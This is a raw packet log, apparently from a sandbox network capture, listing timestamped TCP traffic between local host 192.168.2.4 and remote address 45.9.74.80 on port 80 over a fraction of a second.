Jul 27, 2023 18:27:01.165586948 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.165678024 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.170842886 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.170896053 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.170943022 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.170963049 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.170989990 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.171004057 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.171034098 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.171078920 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.171123981 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.171128988 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.171168089 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.171225071 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.171226025 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.171276093 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.171320915 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.171365023 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.171372890 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.171408892 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.171437025 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.171452045 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.171461105 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.171498060 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.171540976 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.171586990 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.171608925 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.171633959 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.171638966 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.171680927 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.171725988 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.171741962 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.171771049 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.171816111 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.171828985 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.171861887 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.171906948 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.171952963 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.171984911 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.171998024 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.172041893 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.172074080 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.172087908 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.172131062 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.172163963 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.172174931 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.172219038 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.172223091 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.172282934 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.172332048 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.172375917 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.172405005 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.172420979 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.172466040 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.172501087 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.172511101 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.172554970 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.172580004 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.172600985 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.172652006 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.172673941 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.172696114 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.172719955 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.172740936 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.172785997 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.172831059 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.172837019 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.172874928 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.172918081 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.172924042 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.172961950 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.172976971 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.173007965 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.173052073 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.173065901 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.173096895 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.173141956 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.173149109 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.173186064 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.173229933 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.173234940 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.173275948 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.173319101 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.173329115 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.173363924 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.173408031 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.173413992 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.173453093 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.173496962 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.173505068 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.173540115 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.173628092 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.173629999 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.173676014 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.173719883 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.173733950 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.173764944 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.173808098 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.173816919 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.173854113 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.173898935 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.173907042 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.173943043 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.173988104 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.173998117 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.174032927 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.174077988 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.174086094 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.174123049 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.174165964 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.174175978 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.174211025 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.174256086 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.174266100 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.174299002 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.174344063 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.174351931 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.174388885 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.174432993 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.174437046 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.174478054 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.174521923 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.174530983 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.174568892 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.174614906 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.174621105 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.174659967 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.174705029 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.174714088 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.174750090 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.174751043 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.174794912 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.174839020 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.174855947 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.174882889 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.174927950 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.174933910 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.174972057 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.175014973 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.175025940 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.175060987 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.175106049 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.175110102 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.175149918 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.175194025 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.175201893 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.175237894 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.175282955 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.175291061 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.175328016 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.175370932 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.175379992 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.175415993 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.175466061 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.175508976 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.175554037 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.175611019 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.175633907 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.175633907 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.175656080 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.175681114 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.175700903 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.175744057 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.175762892 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.175789118 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.175833941 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.175877094 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.175921917 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.175965071 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.175997972 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.175997972 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.176008940 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.176054955 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.176059008 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.176100016 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.176145077 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.176147938 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.176192045 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.176237106 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.176239967 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.176302910 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.176347971 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.176361084 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.176392078 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.176435947 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.176445007 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.176480055 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.176522970 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.176527977 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.176569939 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.176614046 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.176625967 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.176659107 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.176703930 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.176712990 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.176748037 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.176791906 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.176805019 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.176836014 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.176881075 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.176898003 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.176924944 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.176970005 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.176985979 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.177014112 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.177057028 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.177069902 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.177100897 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.177144051 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.177149057 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.177189112 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.177232027 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.177243948 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.177277088 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.177321911 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.177329063 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.177370071 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.177413940 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.177433014 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.177458048 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.177501917 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.177515030 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.177546978 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.177594900 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.177596092 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.177639961 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.177684069 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.177689075 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.177726984 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.177771091 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.177779913 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.177815914 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.177859068 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.177865028 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.177903891 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.177949905 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.177957058 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.177994013 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.178037882 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.178046942 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.178082943 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.178126097 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.178164959 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.178169966 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.178185940 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.178214073 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.178222895 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.178258896 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.178262949 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.178303957 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.178348064 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.178359985 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.178394079 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.178436995 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.178452969 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.178482056 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.178503036 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.178525925 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.178541899 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.178572893 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.178581953 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.178623915 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.178625107 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.178670883 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.178715944 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.178726912 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.178761005 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.178802967 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.178812027 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.178848028 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.178890944 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.178896904 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.178935051 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.178978920 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.178999901 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.179023027 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.179027081 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.179088116 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.179092884 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.179136992 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.179182053 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.179209948 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.179228067 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.179250002 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.179255962 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.179274082 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.179286003 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.179297924 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.179311991 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.179335117 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.179338932 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.179380894 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.188170910 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.188201904 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.188245058 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.188313007 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.201544046 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.201592922 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.201632023 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.201668024 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.201672077 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.201710939 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.201723099 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.201750994 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.201766968 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.201791048 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.201831102 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.201842070 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.201873064 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.201914072 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.201925039 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.201953888 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.201992989 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.201998949 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.202033043 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.202070951 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.202085972 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.202111006 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.202148914 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.202188015 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.202227116 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.202264071 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.202301979 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.202342033 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.202358007 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.202358007 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.202380896 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.202389002 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.202421904 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.202461004 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.202475071 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.202498913 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.202507973 CEST	49705	80	192.168.2.4	45.9.74.80
